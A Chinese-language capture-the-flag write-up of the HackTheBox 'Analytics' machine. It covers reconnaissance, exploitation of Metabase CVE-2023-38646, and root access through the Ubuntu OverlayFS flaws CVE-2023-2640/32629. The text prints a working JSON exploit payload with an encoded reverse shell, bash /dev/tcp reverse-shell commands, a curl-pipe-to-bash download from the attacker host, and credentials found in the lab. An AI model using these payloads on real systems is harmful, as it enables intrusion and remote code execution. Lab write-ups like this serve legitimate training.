本文主要是介绍[渗透测试学习] Analytics - HackTheBox,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
文章目录
- 信息搜集
- 漏洞利用
- 内核提权
信息搜集
nmap扫描一下端口
nmap -sV -sC -p- -v --min-rate 1000 10.10.11.233
发现两个端口,22端口为ssh服务,80端口有http服务
尝试访问80端口,发现重定向到http://analytical.htb/
并且无法访问
编辑/etc/hosts
添加该域名
成功访问
大概翻了下应该是给客户提供服务的企业网站
尝试点击login发现不行,那么扫一下子域名
gobuster vhost -u http://analytical.htb/ -w /usr/share/wordlists/dirb/big.txt --append-domain
扫出来后再添加域名到/etc/hosts
上,访问
得到信息为Metabase
Metabase是一个开源的数据分析和可视化工具。它旨在为非技术用户提供一种简单的方式来探索和分析数据,无需编写复杂的查询语句或使用复杂的分析工具。Metabase提供了一个直观的用户界面,允许用户通过简单的拖放和点击操作来创建和定制数据仪表板、报表和查询。可进行数据库连接
去网上搜索关键词Metabase 登录
,找到相关漏洞CVE-2023-38646
漏洞利用
poc构造参考
对登陆页面抓包,访问路径为/api/session/properties
得到setup-token
然后修改为POST请求,访问/api/setup/validate
token是刚刚得到的,然后记得修改Content-Type为json
exp如下
{"token": "249fa03d-fd94-4d5b-b94f-b4ebf3df681f","details":{"is_on_demand": false,"is_full_sync": false,"is_sample": false,"cache_ttl": null,"refingerprint": false,"auto_run_queries": true,"schedules":{},"details":{"db": "zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4zNC8xMDI4IDA+JjE=}|{base64,-d}|{bash,-i}')\n$$--=x","advanced-options": false,"ssl": true},"name": "an-sec-research-team","engine": "h2"}
}
不过不知道哪里出问题弹不成功,curl也不行
另一种方法使用工具直接反弹shell 工具链接
python3 single.py -u http://data.analytical.htb -c "bash -c 'bash -i >& /dev/tcp/10.10.14.34/1028 0>&1'"
成功反弹shell
我们查看下所有文件
ls / -al
发现有docker文件,猜测我们处于docker容器中
我们查看下环境变量,得到用户和密码
META_USER=metalytics
META_PASS=An4lytics_ds20223#
直接ssh连接,得到user的flag
这里就卡住了sudo -l
也不行
内核提权
参考文章
看了下其他师傅的wp,用的是内核提权
相关漏洞是利用CVE-2023-2640 & CVE-2023-32629
我用的是curl本地反弹shell的sh文件,在本地开启服务
python3 -m http.server 80
然后开启监听,在刚刚连接的靶机处输入payload
unshare -rm sh -c "mkdir l u w m && cp /u*/b*/p*3 l/;
setcap cap_setuid+eip l/python3;mount -t overlay overlay -o rw,lowerdir=l,upperdir=u,workdir=w m && touch m/*;" && u/python3 -c 'import os;os.setuid(0);os.system("curl 10.10.14.34/shell.sh |bash")'
成功得到root权限,得到flag
这篇关于[渗透测试学习] Analytics - HackTheBox的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!